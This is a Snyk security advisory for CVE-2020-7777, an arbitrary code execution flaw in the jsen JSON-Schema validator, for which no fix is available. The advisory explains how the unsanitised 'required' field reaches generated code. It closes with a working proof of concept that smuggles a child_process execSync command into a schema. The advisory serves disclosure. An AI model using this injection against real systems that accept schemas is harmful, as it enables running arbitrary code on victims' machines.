Arbitrary Code Execution Affecting jsen package, versions *
Snyk CVSS
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-JSEN-1014670
- published 23 Nov 2020
- disclosed 1 Oct 2020
- credit Alessio Della Libera (d3lla)
Introduced: 1 Oct 2020
CVE-2020-7777 Open this link in a new tabHow to fix?
There is no fixed version for jsen
.
Overview
jsen is a JSON-Schema validator built for speed
Affected versions of this package are vulnerable to Arbitrary Code Execution. If an attacker can control the schema file, it could run arbitrary JavaScript code on the victim machine. In the module description and README file there is no mention about the risks of untrusted schema files, so I assume that this is applicable.
In particular the required
field of the schema is not properly sanitized.
The resulting string that is build based on the schema definition is then passed to a Function.apply();
, leading to an Arbitrary Code Execution.
PoC
const jsen = require('jsen');
let schema = JSON.parse( { "type": "object", "properties": { "username": { "type": "string" } }, "required": ["\\"+process.mainModule.require(\'child_process\').execSync(\'touch malicious\')+\\""] }
);
const validate = jsen(schema);
validate({});